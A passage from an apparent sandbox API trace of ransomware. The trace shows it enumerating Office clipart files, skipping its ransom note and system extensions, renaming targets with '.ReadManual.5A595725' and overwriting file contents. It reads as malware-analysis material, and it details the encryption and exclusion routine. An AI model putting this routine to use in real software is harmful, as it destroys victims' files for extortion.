returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" [0274.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ReadManual.5A595725" [0274.515] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ReadManual.5A595725") returned 87 [0274.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39518366608) returned 1 [0274.515] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf")) returned 0x20 [0274.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.516] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4032) returned 1 [0274.516] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc0, lpName=0x0) returned 0x184 [0274.516] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.516] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.516] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.518] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.518] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc0) returned 0x2f0000 [0274.518] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.518] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39518708896) returned 1 [0274.518] CloseHandle (hObject=0x184) returned 1 [0274.518] SetSecurityInfo () returned 0x57 [0274.519] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.519] CloseHandle (hObject=0x194) returned 1 [0274.519] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0274.519] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00479_.WMF" | out: lpString1="SO00479_.WMF") returned="SO00479_.WMF" [0274.519] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.519] StrStrIW (lpFirst="SO00479_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.519] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.519] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.519] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" [0274.519] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ReadManual.5A595725" [0274.519] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ReadManual.5A595725") returned 87 [0274.519] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39518813772) returned 1 [0274.519] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf")) returned 0x20 [0274.520] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.520] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23304) returned 1 [0274.520] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b08, lpName=0x0) returned 0x184 [0274.520] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.521] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.521] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.522] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.523] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b08) returned 0x2f0000 [0274.523] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.523] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39519168028) returned 1 [0274.523] CloseHandle (hObject=0x184) returned 1 [0274.523] SetSecurityInfo () returned 0x57 [0274.523] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.523] CloseHandle (hObject=0x194) returned 1 [0274.523] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0274.523] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00483_.WMF" | out: lpString1="SO00483_.WMF") returned="SO00483_.WMF" [0274.523] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.523] StrStrIW (lpFirst="SO00483_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.523] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.523] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.524] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.524] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" [0274.524] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ReadManual.5A595725" [0274.524] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ReadManual.5A595725") returned 87 [0274.524] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39519257348) returned 1 [0274.524] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf")) returned 0x20 [0274.524] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.524] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11192) returned 1 [0274.524] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bb8, lpName=0x0) returned 0x184 [0274.525] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.525] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.525] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.527] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.527] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bb8) returned 0x2f0000 [0274.527] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.527] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39519591788) returned 1 [0274.527] CloseHandle (hObject=0x184) returned 1 [0274.527] SetSecurityInfo () returned 0x57 [0274.527] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.527] CloseHandle (hObject=0x194) returned 1 [0274.527] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0274.527] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00486_.WMF" | out: lpString1="SO00486_.WMF") returned="SO00486_.WMF" [0274.528] lstrcmpiW (lpString1="SO00486_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.528] StrStrIW (lpFirst="SO00486_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.528] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.528] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.528] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" [0274.528] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ReadManual.5A595725" [0274.528] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.ReadManual.5A595725") returned 87 [0274.528] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39519680220) returned 1 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf")) returned 0x20 [0274.529] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.529] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7768) returned 1 [0274.529] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e58, lpName=0x0) returned 0x184 [0274.529] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.530] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.530] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.534] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.536] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e58) returned 0x2f0000 [0274.536] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39520499509) returned 1 [0274.536] CloseHandle (hObject=0x184) returned 1 [0274.536] SetSecurityInfo () returned 0x57 [0274.536] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.536] CloseHandle (hObject=0x194) returned 1 [0274.537] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0274.537] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00505_.WMF" | out: lpString1="SO00505_.WMF") returned="SO00505_.WMF" [0274.537] lstrcmpiW (lpString1="SO00505_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.537] StrStrIW (lpFirst="SO00505_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.537] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.537] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.537] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" [0274.537] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ReadManual.5A595725" [0274.537] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.ReadManual.5A595725") returned 87 [0274.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39520589909) returned 1 [0274.537] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf")) returned 0x20 [0274.537] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.538] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2724) returned 1 [0274.538] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa4, lpName=0x0) returned 0x184 [0274.538] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.539] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.539] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.540] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.540] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa4) returned 0x2f0000 [0274.540] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.540] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39520922407) returned 1 [0274.540] CloseHandle (hObject=0x184) returned 1 [0274.541] SetSecurityInfo () returned 0x57 [0274.541] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.541] CloseHandle (hObject=0x194) returned 1 [0274.541] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0274.541] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00513_.WMF" | out: lpString1="SO00513_.WMF") returned="SO00513_.WMF" [0274.541] lstrcmpiW (lpString1="SO00513_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.541] StrStrIW (lpFirst="SO00513_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.541] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.541] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.541] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" [0274.541] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ReadManual.5A595725" [0274.541] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.ReadManual.5A595725") returned 87 [0274.541] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39521015843) returned 1 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf")) returned 0x20 [0274.542] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.542] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5924) returned 1 [0274.542] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, 